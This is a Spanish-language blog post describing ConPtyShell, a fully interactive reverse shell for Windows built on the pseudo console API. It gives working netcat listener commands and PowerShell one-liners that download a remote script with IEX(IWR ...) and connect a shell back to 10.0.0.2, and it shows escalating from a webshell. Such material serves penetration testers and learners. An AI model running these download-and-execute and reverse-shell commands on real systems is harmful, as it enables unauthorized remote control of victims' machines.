ConPtyShell: una shell inversa totalmente interactiva para Windows

ConPtyShell de LupMan es una shell inversa totalmente interactiva para sistemas Windows.

La introducción de la Pseudo Consola (ConPty) en Windows ha mejorado mucho la forma en que el sistema operativo de Redmond maneja los terminales. ConPtyShell utiliza esta función para transformar literalmente bash en un "PowerShell remoto".

A grandes rasgos, esta herramienta crea una Pseudo Consola y conecta 2 pipes. Después crea el proceso de shell (por defecto powershell.exe) adjuntando la pseudo consola con una entrada/salida redirigida. Y luego comienza 2 subprocesos para E/S asíncrona:

- un hilo para leer desde el socket y escribir en el pipe de entrada de la Pseudo consola;
- el segundo hilo para leer desde la pipe de salida de la Pseudo consola y escribir en el socket.

ConPtyShell es una shell inversa pero no un método para hacer un upgrade a una consola completamente interactiva.

NOTA: ConPtyShell usa la función CreatePseudoConsole(). Esta función está disponible desde Windows 10/Windows Server 2019 versión 1809.

Requisitos

Lado del cliente: versión de Windows >= 10/2019 1809

Lado del servidor: cualquier listener tcp, típicamente netcat

Uso

Es importante tener el mismo tamaño de filas y columnas en el terminal local y en el remoto si queremos tener una salida alineada.

Método 1

En este método, el tamaño del terminal se establece sin pasar los parámetros de filas y cols a la función Invoke-ConPtyShell:

Lado del servidor
stty raw -echo; (stty size; cat) | nc -lvnp 3001

Lado del cliente
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell 10.0.0.2 3001

O, si subimos el ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001

Método 2 

Si preferimos tener más libertad en el listener tcp y el terminal, podemos proceder con una forma "manual" para obtener la shell inversa. En este caso, es importante que se establezca el tamaño de filas y columnas al llamar a la función Invoke-ConPtyShell:
stty size
nc -lvnp 3001
Wait For connection
ctrl+z
stty raw -echo
fg[ENTER]

Lado del cliente 

Aquí se debe usar los valores leídos del comando stty size en los parámetros -Rows y -Cols
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80

O, si subimos el ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80

Cambiar tamaño de consola 

En cualquier caso, si queremos modificar el tamaño del terminal mientras ya hemos abierto la shell remota se puede cambiar el tamaño de las filas y cols directamente desde powershell pegando el siguiente código:
$width=80
$height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)

Demo

En el siguiente gif se puede ver un escenario simulado en el que en el terminal de la parte izquierda se tiene un acceso limitado al servidor a través de una webshell web y a la derecha se spawnea una shell inversa completamente interactiva:


Fuente

https://github.com/antonioCoco/ConPtyShell

Referencias
  1. https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/
  2. https://github.com/microsoft/terminal

Comentarios